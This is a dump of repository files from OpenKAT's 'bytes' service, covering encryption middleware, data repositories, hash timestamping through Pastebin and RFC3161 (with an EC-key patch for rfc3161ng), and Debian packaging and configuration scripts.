    "content": "import base64\n\nfrom nacl.public import Box, PrivateKey, PublicKey\n\nfrom bytes.config import get_settings\nfrom bytes.models import EncryptionMiddleware\n\n\nclass FileMiddleware:\n    def encode(self, contents: bytes) -> bytes:\n        raise NotImplementedError()\n\n    def decode(self, contents: bytes) -> bytes:\n        raise NotImplementedError()\n\n\ndef make_middleware() -> FileMiddleware:\n    settings = get_settings()\n\n    if settings.encryption_middleware == EncryptionMiddleware.NACL_SEALBOX:\n        if settings.private_key_b64 is None or settings.public_key_b64 is None:\n            raise ValueError(\"NACL_SEALBOX encryption middleware requires private and public keys\")\n        return NaclBoxMiddleware(settings.private_key_b64, settings.public_key_b64)\n\n    return IdentityMiddleware()\n\n\nclass IdentityMiddleware(FileMiddleware):\n    def encode(self, contents: bytes) -> bytes:\n        return contents\n\n    def decode(self, contents: bytes) -> bytes:\n        return contents\n\n\nclass NaclBoxMiddleware(FileMiddleware):\n    def __init__(self, kat_private: str, vws_public: str):\n        private_key = PrivateKey(base64.b64decode(kat_private))\n        public_key = PublicKey(base64.b64decode(vws_public))\n        self.box: Box = Box(private_key, public_key)\n\n    def encode(self, contents: bytes) -> bytes:\n        return self.box.encrypt(contents)\n\n    def decode(self, contents: bytes) -> bytes:\n        nonce = contents[0 : self.box.NONCE_SIZE]\n        data = contents[self.box.NONCE_SIZE :]\n\n        return self.box.decrypt(data, nonce)\n"
  },
  {
    "path": "bytes/bytes/repositories/__init__.py",
    "content": ""
  },
  {
    "path": "bytes/bytes/repositories/hash_repository.py",
    "content": "from bytes.models import RetrievalLink, SecureHash\n\n\nclass HashRepository:\n    \"\"\"Save a hash of the data and verify that we have seen the hash through an external party\"\"\"\n\n    def store(self, secure_hash: SecureHash) -> RetrievalLink:\n        \"\"\"Send the hash to the external party\"\"\"\n\n        raise NotImplementedError()\n\n    def verify(self, link: RetrievalLink, secure_hash: SecureHash) -> bool:\n        \"\"\"Verify that the external party has seen the hash\"\"\"\n\n        raise NotImplementedError()\n\n    def get_signing_provider_url(self) -> str | None:\n        \"\"\"Get the specific signing provider url\"\"\"\n\n        raise NotImplementedError()\n"
  },
  {
    "path": "bytes/bytes/repositories/meta_repository.py",
    "content": "from uuid import UUID\n\nfrom pydantic import BaseModel, Field\nfrom sqlalchemy.orm import Query\n\nfrom bytes.database.db_models import BoefjeMetaInDB, NormalizerMetaInDB, RawFileInDB\nfrom bytes.models import BoefjeMeta, MimeType, NormalizerMeta, RawData, RawDataMeta\n\n\nclass BoefjeMetaFilter(BaseModel):\n    organization: str\n\n    boefje_id: str | None = None\n    input_ooi: str | None = \"*\"\n    limit: int = 1\n    offset: int = 0\n    descending: bool = True\n\n\nclass NormalizerMetaFilter(BaseModel):\n    organization: str | None = None\n    normalizer_id: str | None = None\n    raw_id: UUID | None = None\n    limit: int = 1\n    offset: int = 0\n    descending: bool = True\n\n\nclass RawDataFilter(BaseModel):\n    organization: list[str] | None = None\n    boefje_meta_id: UUID | None = None\n    raw_ids: list[UUID] | None = None\n    normalized: bool | None = None\n    mime_types: list[MimeType] = Field(default_factory=list)\n    limit: int | None = 1\n    offset: int | None = 0\n\n    def apply(self, query: Query) -> Query:\n        if self.boefje_meta_id:\n            query = query.filter(RawFileInDB.boefje_meta_id == str(self.boefje_meta_id))\n\n        if self.organization:\n            if len(self.organization) == 1:\n                query = query.join(BoefjeMetaInDB).filter(BoefjeMetaInDB.organization == self.organization[0])\n            else:\n                query = query.join(BoefjeMetaInDB).filter(BoefjeMetaInDB.organization.in_(self.organization))\n\n        if self.normalized:\n            query = query.join(NormalizerMetaInDB, isouter=False)\n\n        if self.normalized is False:  # it can also be None, in which case we do not want a filter\n            query = query.join(NormalizerMetaInDB, isouter=True).filter(NormalizerMetaInDB.id.is_(None))\n\n        if self.mime_types:\n            query = query.filter(RawFileInDB.mime_types.contains([m.value for m in self.mime_types]))\n\n        if self.raw_ids:\n            query = query.filter(RawFileInDB.id.in_([x.hex for x in self.raw_ids]))\n\n        return query.offset(self.offset).limit(self.limit)\n\n\nclass MetaDataRepository:\n    def __enter__(self) -> None:\n        pass\n\n    def __exit__(self, _exc_type: type[Exception], _exc_value: str, _exc_traceback: str) -> None:\n        pass\n\n    def save_boefje_meta(self, boefje_meta: BoefjeMeta) -> None:\n        raise NotImplementedError()\n\n    def get_boefje_meta_by_id(self, boefje_meta_id: UUID) -> BoefjeMeta:\n        raise NotImplementedError()\n\n    def get_boefje_meta(self, query_filter: BoefjeMetaFilter) -> list[BoefjeMeta]:\n        raise NotImplementedError()\n\n    def save_normalizer_meta(self, normalizer_meta: NormalizerMeta) -> None:\n        raise NotImplementedError()\n\n    def get_normalizer_meta_by_id(self, normalizer_meta_id: UUID) -> NormalizerMeta:\n        raise NotImplementedError()\n\n    def get_normalizer_meta(self, query_filter: NormalizerMetaFilter) -> list[NormalizerMeta]:\n        raise NotImplementedError()\n\n    def get_normalizer_metas(\n        self, normalizer_metas: list[UUID], query_filter: NormalizerMetaFilter | None = None\n    ) -> dict[str, NormalizerMeta]:\n        raise NotImplementedError()\n\n    def save_raw(self, raw: RawData) -> UUID:\n        raise NotImplementedError()\n\n    def get_raw_by_id(self, raw_id: UUID) -> RawData:\n        raise NotImplementedError()\n\n    def get_raw(self, query_filter: RawDataFilter) -> list[RawDataMeta]:\n        raise NotImplementedError()\n\n    def get_raws(self, query_filter: RawDataFilter) -> list[tuple[UUID, RawData]]:\n        raise NotImplementedError()\n\n    def has_raw(self, boefje_meta: BoefjeMeta, mime_types: list[MimeType]) -> bool:\n        raise NotImplementedError()\n\n    def get_raw_file_count_per_organization(self) -> dict[str, int]:\n        raise NotImplementedError()\n\n    def get_raw_file_count_per_mime_type(self, query_filter: RawDataFilter) -> dict[str, int]:\n        raise NotImplementedError()\n\n    def get_raw_meta_by_id(self, raw_id: UUID) -> RawDataMeta:\n        raise NotImplementedError()\n"
  },
  {
    "path": "bytes/bytes/repositories/raw_repository.py",
    "content": "from uuid import UUID\n\nfrom bytes.models import BoefjeMeta, RawData\n\n\nclass BytesFileNotFoundException(FileNotFoundError):\n    \"\"\"Exception for when no requested Bytes file was found.\"\"\"\n\n\nclass RawRepository:\n    def save_raw(self, raw_id: UUID, raw: RawData) -> None:\n        raise NotImplementedError()\n\n    def get_raw(self, raw_id: UUID, boefje_meta: BoefjeMeta) -> RawData:\n        raise NotImplementedError()\n\n    def get_raws(self, raw_metas_pairs: list[tuple[UUID, BoefjeMeta]]) -> list[tuple[UUID, RawData]]:\n        raise NotImplementedError()\n"
  },
  {
    "path": "bytes/bytes/timestamping/__init__.py",
    "content": ""
  },
  {
    "path": "bytes/bytes/timestamping/certificates/freetsa.crt",
    "content": "-----BEGIN CERTIFICATE-----\nMIIGYDCCBEigAwIBAgIJAMLphhYNqOnNMA0GCSqGSIb3DQEBDQUAMIGVMREwDwYD\nVQQKEwhGcmVlIFRTQTEQMA4GA1UECxMHUm9vdCBDQTEYMBYGA1UEAxMPd3d3LmZy\nZWV0c2Eub3JnMSIwIAYJKoZIhvcNAQkBFhNidXNpbGV6YXNAZ21haWwuY29tMRIw\nEAYDVQQHEwlXdWVyemJ1cmcxDzANBgNVBAgTBkJheWVybjELMAkGA1UEBhMCREUw\nHhcNMjYwMjE1MTk0NDIyWhcNNDAwMjAyMTk0NDIyWjCCAQsxETAPBgNVBAoMCEZy\nZWUgVFNBMQwwCgYDVQQLDANUU0ExdjB0BgNVBA0MbVRoaXMgY2VydGlmaWNhdGUg\nZGlnaXRhbGx5IHNpZ25zIGRvY3VtZW50cyBhbmQgdGltZSBzdGFtcCByZXF1ZXN0\ncyBtYWRlIHVzaW5nIHRoZSBmcmVldHNhLm9yZyBvbmxpbmUgc2VydmljZXMxGDAW\nBgNVBAMMD3d3dy5mcmVldHNhLm9yZzEkMCIGCSqGSIb3DQEJARYVYnVzaWxlemFz\nQG1haWxib3gub3JnMRIwEAYDVQQHDAlXdWVyemJ1cmcxCzAJBgNVBAYTAkRFMQ8w\nDQYDVQQIDAZCYXllcm4wdjAQBgcqhkjOPQIBBgUrgQQAIgNiAASiFeGhstbLhxix\n0o4UAumNSwHUUlOe3DBvs8fYs580wADW59oqGSCx15bp61TSmXkwLm1JW48XnbLL\nizP6ZtjcvshV3H9uz2bS53sgDXhg1wLbIhAtraC+fHCytHeuVaujggHmMIIB4jAJ\nBgNVHRMEAjAAMB0GA1UdDgQWBBQVwL0m69RdgtFdkyYxL+9wsotGXjAfBgNVHSME\nGDAWgBT6VQ2MNGZRQ0z357OnbJWveuaklzALBgNVHQ8EBAMCBsAwFgYDVR0lAQH/\nBAwwCgYIKwYBBQUHAwgwbAYIKwYBBQUHAQEEYDBeMDMGCCsGAQUFBzAChidodHRw\nOi8vd3d3LmZyZWV0c2Eub3JnL2ZpbGVzL2NhY2VydC5wZW0wJwYIKwYBBQUHMAGG\nG2h0dHA6Ly93d3cuZnJlZXRzYS5vcmc6MjU2MDA3BgNVHR8EMDAuMCygKqAohiZo\ndHRwOi8vd3d3LmZyZWV0c2Eub3JnL2NybC9yb290X2NhLmNybDCByAYDVR0gBIHA\nMIG9MIG6BgMrBQgwgbIwMwYIKwYBBQUHAgEWJ2h0dHA6Ly93d3cuZnJlZXRzYS5v\ncmcvZnJlZXRzYV9jcHMuaHRtbDAyBggrBgEFBQcCARYmaHR0cDovL3d3dy5mcmVl\ndHNhLm9yZy9mcmVldHNhX2Nwcy5wZGYwRwYIKwYBBQUHAgIwOxo5RnJlZVRTQSB0\ncnVzdGVkIHRpbWVzdGFtcGluZyBTb2Z0d2FyZSBhcyBhIFNlcnZpY2UgKFNhYVMp\nMA0GCSqGSIb3DQEBDQUAA4ICAQBrMVS/YfnfMr0ziZnesBUOrDNRrNNgt3IgMNDw\nNhwl6oKWHVIhlYnM/5boljfbpZTAbqvxHI3ztT0/swxQOqTat5qBJRAY/VH1n/T4\nM9uDjSuu3qfh0ZH5PL9ENqoVW44i5NT/znQev2MGXOAHwz9kZwwzz9MFX6hbGhBq\nWa+nlAqb7Y72KFzj33m1OVHxV2Wl4YD9f91bZTFpUEGW4Ktbkmxpf/iGIPaf4WHp\noBW/O6EzofMKYlz4yXyEBh0wRRVyXltLrj+MFHqhe+PsMBllq/dCaO4W/F+AuHEl\nu7aUYWMASelphWAJiUsNMr5HAoeCSSgilqf1CSoWC+k6e4334Fym+Iy4csMex+PG\n4rSdqXJVQ+AWEdRajSPKh7yDfpNkdnO6yqQJ/tSd11XQ5cL0M9jWuCD1zHlgA+u+\nR2cry3yo23jD7qTGLhZqUvXCyWigH30/Q/RXjjDwrc4DJiQ+gRY0FhdTYqlvgMBP\nr4LcJKnNksivdj+kbz7bVSbrBAzRiazK9l841/5XMtP9BvD0hKCpQFvP9PSgCC8E\nQnKqgSe26FSJBaAQcA5TnK8NF4jkbElBxf/zyh7P3IjHso35jtgUWD1/itg9BJWb\nYUwJ4tfILpB2F0wbk1GcZDCDZoyW3Xf3trApz/Zd93gF3joc9Hh9RFveKRzWQ7dd\nUt3egQ==\n-----END CERTIFICATE-----\n"
  },
  {
    "path": "bytes/bytes/timestamping/hashing.py",
    "content": "import hashlib\nfrom typing import Any\n\nimport structlog\nfrom pydantic import AwareDatetime\n\nfrom bytes.models import HashingAlgorithm, RawData, SecureHash\n\nlogger = structlog.get_logger(__name__)\n\n\ndef hash_data(\n    data: RawData, datetime: AwareDatetime, hash_algo: HashingAlgorithm = HashingAlgorithm.SHA512\n) -> SecureHash:\n    \"\"\"Hash the raw data\"\"\"\n    timestamp_bytes = str(datetime.timestamp()).encode(\"utf-8\")\n\n    hasher = _get_hasher(hash_algo)\n    hasher.update(data.value)\n    hasher.update(timestamp_bytes)\n\n    return SecureHash(f\"{hash_algo.value}:{hasher.hexdigest()}\")\n\n\ndef _get_hasher(hash_algo: HashingAlgorithm) -> Any:\n    if hash_algo == HashingAlgorithm.SHA512:\n        return hashlib.sha512()\n\n    if hash_algo == HashingAlgorithm.SHA224:\n        return hashlib.sha224()\n\n    raise ValueError(f\"Hashing algorithm {hash_algo} not implemented\")\n"
  },
  {
    "path": "bytes/bytes/timestamping/in_memory.py",
    "content": "import uuid\n\nfrom bytes.models import RetrievalLink, SecureHash\nfrom bytes.repositories.hash_repository import HashRepository\n\n\nclass InMemoryHashRepository(HashRepository):\n    def __init__(self, signing_provider_url: str | None = None) -> None:\n        self.signing_provider_url = signing_provider_url  # Being able to set this to a string is useful for testing\n        self.memory: dict[str, SecureHash] = {}\n\n    def store(self, secure_hash: SecureHash) -> RetrievalLink:\n        key = str(uuid.uuid4())\n        self.memory[key] = secure_hash\n        return RetrievalLink(key)\n\n    def retrieve(self, link: RetrievalLink) -> SecureHash:\n        if link not in self.memory:\n            raise ValueError(f\"{link=} not in hash-service\")\n\n        return SecureHash(self.memory[link])\n\n    def verify(self, link: RetrievalLink, secure_hash: SecureHash) -> bool:\n        return secure_hash == self.retrieve(link)\n\n    def get_signing_provider_url(self) -> str | None:\n        return self.signing_provider_url\n"
  },
  {
    "path": "bytes/bytes/timestamping/pastebin.py",
    "content": "import httpx\n\nfrom bytes.models import RetrievalLink, SecureHash\nfrom bytes.repositories.hash_repository import HashRepository\n\n\nclass PastebinHashRepository(HashRepository):\n    def __init__(self, api_dev_key: str):\n        self.api_dev_key = api_dev_key\n        self.client = httpx.Client()\n        self.url = \"https://pastebin.com\"\n\n    def store(self, secure_hash: SecureHash) -> RetrievalLink:\n        response = self.client.post(\n            url=f\"{self.url}/api/api_post.php\",\n            data={\n                \"api_paste_code\": secure_hash,\n                \"api_option\": \"paste\",\n                \"api_dev_key\": self.api_dev_key,\n                \"api_paste_private\": 1,  # Unlisted.\n                \"api_paste_expire_date\": \"N\",  # Never\n            },\n        )\n\n        if response.status_code != 200:\n            raise ValueError(\n                f\"Couldn't save hash to pastebin,\"\n                f\" {response.status_code=} content={response.content.decode('utf-8')}\"\n            )\n\n        link = response.content.decode(\"utf-8\")\n        return RetrievalLink(link)\n\n    def retrieve(self, link: RetrievalLink) -> SecureHash:\n        if not link:\n            raise ValueError(\"Can't retrieve secure-hash from empty link.\")\n\n        paste_id = link.split(\"/\").pop()\n        assert len(paste_id) > 0\n\n        response = self.client.get(f\"{self.url}/raw/{paste_id}\")\n        if response.status_code != 200:\n            raise ValueError(\n                f\"Error retrieving pastebin data for {link=}, {response.status_code=},\"\n                f\" content={response.content.decode('utf-8')}\"\n            )\n\n        return SecureHash(response.content.decode())\n\n    def verify(self, link: RetrievalLink, secure_hash: SecureHash) -> bool:\n        return secure_hash == self.retrieve(link)\n\n    def get_signing_provider_url(self) -> str | None:\n        \"\"\"Get the specific signing provider url\"\"\"\n\n        return self.url\n"
  },
  {
    "path": "bytes/bytes/timestamping/provider.py",
    "content": "from bytes.config import Settings\nfrom bytes.models import HashingRepositoryReference\nfrom bytes.repositories.hash_repository import HashRepository\nfrom bytes.timestamping.in_memory import InMemoryHashRepository\nfrom bytes.timestamping.pastebin import PastebinHashRepository\nfrom bytes.timestamping.rfc3161 import RFC3161HashRepository\n\n\ndef create_hash_repository(settings: Settings) -> HashRepository:\n    if settings.ext_hash_repository == HashingRepositoryReference.PASTEBIN:\n        if not settings.pastebin_api_dev_key:\n            raise ValueError(\"Cannot use the pastebin hashing service without a pastebin key\")\n\n        return PastebinHashRepository(settings.pastebin_api_dev_key)\n\n    if settings.ext_hash_repository == HashingRepositoryReference.RFC3161:\n        assert settings.rfc3161_cert_file and settings.rfc3161_provider, \"RFC3161 service needs a url and a certificate\"\n\n        return RFC3161HashRepository(settings.rfc3161_cert_file.read_bytes(), str(settings.rfc3161_provider))\n\n    return InMemoryHashRepository()\n"
  },
  {
    "path": "bytes/bytes/timestamping/rfc3161.py",
    "content": "import base64\n\nimport rfc3161ng\nfrom cryptography.hazmat.primitives.asymmetric import ec, padding\n\nfrom bytes.models import RetrievalLink, SecureHash\nfrom bytes.repositories.hash_repository import HashRepository\n\n# Monkey-patch rfc3161ng to support EC keys (FreeTSA switched from RSA to EC in 2026).\n# The upstream library only handles RSA keys in check_timestamp(). This patch adds\n# EC key support by detecting the key type and using the correct verify() signature.\n_original_check_timestamp = rfc3161ng.check_timestamp\n\n\ndef _patched_check_timestamp(\n    tst: bytes,\n    certificate: bytes | None = None,\n    data: bytes | None = None,\n    digest: bytes | None = None,\n    hashname: str | None = None,\n    nonce: int | None = None,\n) -> bool:\n    \"\"\"Wrapper around rfc3161ng.check_timestamp that supports EC public keys.\"\"\"\n    from cryptography.hazmat.primitives import hashes\n\n    try:\n        return _original_check_timestamp(tst, certificate, data, digest, hashname, nonce)\n    except TypeError as e:\n        if \"positional arguments\" not in str(e):\n            raise\n\n    # EC key path: re-implement the signature verification with correct EC API.\n    # We re-parse the TST to extract the signature and signed data.\n    from pyasn1.codec.der import decoder, encoder\n    from pyasn1.type import univ\n\n    if not isinstance(tst, rfc3161ng.TimeStampToken):\n        tst, _ = decoder.decode(tst, asn1Spec=rfc3161ng.TimeStampToken())\n\n    signed_data = tst.content\n    certificate = rfc3161ng.api.load_certificate(signed_data, certificate)\n    signer_info = signed_data[\"signerInfos\"][0]\n\n    content = bytes(decoder.decode(bytes(tst.content[\"contentInfo\"][\"content\"]), asn1Spec=univ.OctetString())[0])\n\n    if len(signer_info[\"authenticatedAttributes\"]):\n        signer_digest_algorithm = signer_info[\"digestAlgorithm\"][\"algorithm\"]\n        signer_hash_name = rfc3161ng.api.get_hash_from_oid(signer_digest_algorithm)\n        s = univ.SetOf()\n        for i, x in enumerate(signer_info[\"authenticatedAttributes\"]):\n            s.setComponentByPosition(i, x)\n        signed_data_bytes = encoder.encode(s)\n    else:\n        signer_hash_name = hashname or \"sha1\"\n        signed_data_bytes = content\n\n    signature = bytes(signer_info[\"encryptedDigest\"])\n    public_key = certificate.public_key()  # type: ignore[union-attr]\n    hash_family = getattr(hashes, signer_hash_name.upper())\n\n    if isinstance(public_key, ec.EllipticCurvePublicKey):\n        public_key.verify(signature, signed_data_bytes, ec.ECDSA(hash_family()))\n    else:\n        public_key.verify(signature, signed_data_bytes, padding.PKCS1v15(), hash_family())\n\n    return True\n\n\nrfc3161ng.check_timestamp = _patched_check_timestamp\nrfc3161ng.api.check_timestamp = _patched_check_timestamp\n\n\nclass RFC3161HashRepository(HashRepository):\n    \"\"\"A service that uses an external Trusted Timestamp Authority (TSA) that complies with RFC3161.\"\"\"\n\n    def __init__(self, certificate: bytes, signing_provider: str):\n        self.signing_provider = signing_provider\n        self.timestamper = rfc3161ng.RemoteTimestamper(url=self.signing_provider, certificate=certificate)\n\n    def store(self, secure_hash: SecureHash) -> RetrievalLink:\n        time_stamp_token: bytes = self.timestamper.timestamp(data=secure_hash.encode())\n        encoded = base64.b64encode(time_stamp_token).decode()\n\n        return RetrievalLink(encoded)\n\n    def verify(self, link: RetrievalLink, secure_hash: SecureHash) -> bool:\n        # Note: \"link\" is an inconvenient name for this implementation since it is a token.\n\n        if not link:\n            raise ValueError(\"Can't retrieve secure-hash from empty link.\")\n\n        time_stamp_token = base64.b64decode(str(link))\n\n        assert rfc3161ng.get_timestamp(time_stamp_token)\n\n        return self.timestamper.check(time_stamp_token, data=secure_hash.encode())\n\n    def get_signing_provider_url(self) -> str | None:\n        \"\"\"Get the specific signing provider url\"\"\"\n\n        return self.signing_provider\n"
  },
  {
    "path": "bytes/bytes/version.py",
    "content": "from importlib.metadata import PackageNotFoundError, version\n\ntry:\n    __version__ = version(\"bytes\")\nexcept PackageNotFoundError:\n    # package is not installed\n    __version__ = \"0.0.1.dev1\"\n"
  },
  {
    "path": "bytes/debian/control",
    "content": "Source: kat-bytes\nBuild-Depends: python3, dh-virtualenv, python3-setuptools, python3-pip, debhelper-compat (= 12)\nMaintainer: OpenKAT <maintainer@openkat.nl>\n\nPackage: kat-bytes\nSection: python\nPriority: optional\nArchitecture: any\nPre-Depends: ${misc:Pre-Depends}\nDepends: ${python}, ${misc:Depends}\nDescription: Bytes\n"
  },
  {
    "path": "bytes/debian/copyright",
    "content": "Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/\nUpstream-Name: kat-octopoes\nUpstream-Contact: info@openkat.nl\nSource: __URL__\n\nFiles: *\nCopyright: 2022 OpenKAT\nLicense: EUPL\n\nLicense: EUPL\n"
  },
  {
    "path": "bytes/debian/dirs",
    "content": "/var/lib/kat-bytes\n/var/log/kat-bytes\n"
  },
  {
    "path": "bytes/debian/install",
    "content": "packaging/deb/data/etc/kat/* etc/kat\npackaging/deb/data/usr/* usr\n"
  },
  {
    "path": "bytes/debian/kat-bytes.service",
    "content": "[Unit]\nDescription=kat-bytes daemon\nAfter=network.target\n\n[Service]\nUser=kat\nGroup=kat\nSyslogIdentifier=kat-bytes\nWorkingDirectory=/opt/venvs/kat-bytes/\nEnvironmentFile=/usr/lib/kat/bytes.defaults\nEnvironmentFile=/etc/kat/bytes.conf\nExecStart=/opt/venvs/kat-bytes/bin/python -m gunicorn \\\n          --access-logfile - \\\n          -c /etc/kat/bytes.gunicorn.conf.py \\\n          -k uvicorn.workers.UvicornWorker \\\n          bytes.api:app\nRestart=on-failure\nRestartSec=3s\nKillMode=mixed\n\n[Install]\nWantedBy=multi-user.target\n"
  },
  {
    "path": "bytes/debian/kat-bytes.sysusers",
    "content": "u kat - \"OpenKAT\" /nonexistent\n"
  },
  {
    "path": "bytes/debian/postinst",
    "content": "#!/bin/bash\nset -e\n\nkey=$(tr -dc A-Za-z0-9 < /dev/urandom | head -c 64)\nbytes_password=$(tr -dc A-Za-z0-9 < /dev/urandom | head -c 20)\nsed -i \"s/BYTES_SECRET= *\\$/BYTES_SECRET=${key}/\" /etc/kat/bytes.conf\nsed -i \"s/BYTES_PASSWORD= *\\$/BYTES_PASSWORD=${bytes_password}/\" /etc/kat/bytes.conf\n\n#DEBHELPER#\n\nchown -R root:kat /etc/kat\nchown kat:kat /var/log/kat-bytes\nchown kat:kat /var/lib/kat-bytes\n"
  },
  {
    "path": "bytes/debian/rules",
    "content": "#!/usr/bin/make -f\nexport DH_VERBOSE = 1\nexport DH_VIRTUALENV_INSTALL_ROOT = /opt/venvs\nexport PACKAGE=$(shell dh_listpackages)\nexport DH_VENV_DIR=debian/$(PACKAGE)$(DH_VIRTUALENV_INSTALL_ROOT)/$(PACKAGE)\nexport DESTDIR = $(CURDIR)/debian/$(PACKAGE)\nexport UV_LINK_MODE=copy\n\n%:\n\tdh $@ --with python-virtualenv\n\n.PHONY: override_dh_virtualenv override_dh_fixperm\n\noverride_dh_fixperms:\n\tdh_fixperms\n\tchmod 750 $(DESTDIR)/etc/kat/\n\tfind $(DESTDIR)/etc/kat -type f -exec chmod 640 {} \\;\n\tchmod 750 $(DESTDIR)/var/lib/kat-bytes\n\tchmod 750 $(DESTDIR)/var/log/kat-bytes\n\tchmod 755 $(DESTDIR)/usr/bin/update-bytes-db\n\noverride_dh_virtualenv:\n# We want to use uv but dh_virtualenv doesn't support that. So we create an\n# empty requirements file and call uv manually..\n\ttouch /tmp/requirements-empty.txt\n\tdh_virtualenv --requirements=/tmp/requirements-empty.txt --skip-install --preinstall \"uv\"\n\t$(DH_VENV_DIR)/bin/python -m uv sync --locked --active\n\t$(DH_VENV_DIR)/bin/python -m uv pip install .\n\t$(DH_VENV_DIR)/bin/python -m uv pip install gunicorn==23.0.0\n\n# remove pip and uv to prevent mutation of venv\n\t$(DH_VENV_DIR)/bin/python -m uv pip uninstall pip uv\n\n# Fix shebang\n\tsed -i 's|#!.*$(DH_VIRTUALENV_INSTALL_ROOT)/$(PACKAGE)/bin/python|#!$(DH_VIRTUALENV_INSTALL_ROOT)/$(PACKAGE)/bin/python|' $(DH_VENV_DIR)/bin/*\n\noverride_dh_gencontrol:\n\tdh_gencontrol -- -Vpython=`py3versions -d`\n\nexecute_after_dh_install:\n\tdh_installsysusers\n\n# Disables dh_strip_nondeterminism because it very slow and not useful for us\noverride_dh_strip_nondeterminism:\n\n# Disable dh_dwz because it is also not useful for us\noverride_dh_dwz:\n\n# Let dpkg-shlibdeps ignore venvs\noverride_dh_shlibdeps:\n\tdh_shlibdeps -X/opt/venvs\n"
  },
  {
    "path": "bytes/debian/triggers",
    "content": "# Register interest in Python interpreter changes; and\n# don't make the Python package dependent on the virtualenv package\n# processing (noawait)\ninterest-noawait /usr/bin/python3\n\n# Also provide a symbolic trigger for all dh-virtualenv packages\ninterest dh-virtualenv-interpreter-update\n"
  },
  {
    "path": "bytes/dev.logging.conf",
    "content": "[loggers]\nkeys=root,uvicorn\n\n[handlers]\nkeys=consoleHandler\n\n[formatters]\nkeys=genericFormatter\n\n[logger_root]\nlevel=INFO\nhandlers=consoleHandler\n\n[logger_uvicorn]\nlevel=INFO\nhandlers=consoleHandler\nqualname=uvicorn\npropagate=0\n\n[handler_consoleHandler]\nclass=StreamHandler\nlevel=DEBUG\nformatter=genericFormatter\nkwargs={\"stream\": sys.stdout}\n\n[formatter_genericFormatter]\nformat=%(message)s\n"
  },
  {
    "path": "bytes/entrypoint.sh",
    "content": "#!/bin/bash\nset -e\n\n# Make env variable comparison case insensitive\nshopt -s nocasematch\n\nif [ \"$DATABASE_MIGRATION\" = \"1\" ] || [[ $DATABASE_MIGRATION == \"true\" ]]; then\n    python -m alembic --config /app/bytes/bytes/alembic.ini upgrade head\nfi\n\nexec \"$@\"\n"
  },
  {
    "path": "bytes/logging.conf",
    "content": "[loggers]\nkeys=root,uvicorn\n\n[handlers]\nkeys=consoleHandler,fileHandler\n\n[formatters]\nkeys=genericFormatter\n\n[logger_root]\nlevel=INFO\nhandlers=consoleHandler,fileHandler\n\n[logger_uvicorn]\nlevel=INFO\nhandlers=consoleHandler,fileHandler\nqualname=uvicorn\npropagate=0\n\n[handler_fileHandler]\nlevel=INFO\nformatter=genericFormatter\nclass=handlers.RotatingFileHandler\nmaxBytes=31457280\nargs=(os.getenv(\"BYTES_LOG_FILE\",\"bytes.log\"),)\n\n[handler_consoleHandler]\nclass=StreamHandler\nlevel=DEBUG\nformatter=genericFormatter\nkwargs={\"stream\": sys.stdout}\n\n[formatter_genericFormatter]\nformat=%(message)s\n"
  },
  {
    "path": "bytes/packaging/deb/Makefile",
    "content": "#!/usr/bin/make -f\nprefix=/usr\n\nall:\n\ninstall:\n\tcd data && find . -type f -exec install -D \"{}\" \"$(DESTDIR)/{}\" \\;\n\nclean:\n\ndistclean: clean\n\nuninstall:\n\t-rm -rf $(DESTDIR)/usr/share/kat-bytes\n\n.PHONY: all install clean distclean uninstall\n"
  },
  {
    "path": "bytes/packaging/deb/data/etc/kat/bytes.conf",
    "content": "# Bytes API, which uses JWT\nBYTES_SECRET=\nBYTES_USERNAME=bytes\nBYTES_PASSWORD=\n# BYTES_ACCESS_TOKEN_EXPIRE_MINUTES=1000\n\n# Bytes DB\nBYTES_DB_URI=\n\n# QUEUE for messages other services in KAT listen to\nQUEUE_URI=\n\n# BYTES_LOG_FILE=/var/log/kat-bytes/bytes.log\n# BYTES_DATA_DIR=/var/lib/kat-bytes/\n# BYTES_LOG_CFG=/etc/kat/bytes.logging.conf\n"
  },
  {
    "path": "bytes/packaging/deb/data/etc/kat/bytes.gunicorn.conf.py",
    "content": "workers = 3\nbind = [\"127.0.0.1:8002\"]\n"
  },
  {
    "path": "bytes/packaging/deb/data/etc/kat/bytes.logging.conf",
    "content": "[loggers]\nkeys=root,uvicorn\n\n[handlers]\nkeys=consoleHandler,fileHandler\n\n[formatters]\nkeys=genericFormatter\n\n[logger_root]\nlevel=INFO\nhandlers=consoleHandler,fileHandler\n\n[logger_uvicorn]\nlevel=INFO\nhandlers=consoleHandler,fileHandler\nqualname=uvicorn\npropagate=0\n\n[handler_fileHandler]\nlevel=INFO\nformatter=genericFormatter\nclass=handlers.RotatingFileHandler\nmaxBytes=31457280\nargs=(os.getenv(\"BYTES_LOG_FILE\",\"bytes.log\"),)\n\n[handler_consoleHandler]\nclass=StreamHandler\nlevel=DEBUG\nformatter=genericFormatter\nkwargs={\"stream\": sys.stdout}\n\n[formatter_genericFormatter]\nformat=%(asctime)s [%(process)d] [%(levelname)s] [%(module)s] %(message)s\ndatefmt=[%Y-%m-%d %H:%M:%S %z]\n"
  },
  {
    "path": "bytes/packaging/deb/data/usr/bin/update-bytes-db",
    "content": "#!/bin/bash\n\nset -ae\nsource /usr/lib/kat/bytes.defaults\nsource /etc/kat/bytes.conf\ncd /opt/venvs/kat-bytes/lib/python*/site-packages\n/opt/venvs/kat-bytes/bin/python -m alembic --config bytes/alembic.ini upgrade head\n"
  },
  {
    "path": "bytes/packaging/scripts/build-debian-package.sh",
    "content": "#!/bin/bash\n\nset -e\n\n# TODO: generate proper changelog\necho \"Create changelog file\"\ncat > debian/changelog << EOF\n${PKG_NAME} (${RELEASE_VERSION}) unstable; urgency=low\n  * view changes: https://github.com/${REPOSITORY}/releases/tag/${RELEASE_TAG}\n\n -- OpenKAT <maintainer@openkat.nl>  $(LANG=C date -R)\n\nEOF\n\ndpkg-buildpackage -us -uc -b\n\nmv /\"${PKG_NAME}\"_\"${RELEASE_VERSION}\"_*.deb /app/build/\n"
  },
  {
    "path": "bytes/pyproject.toml",
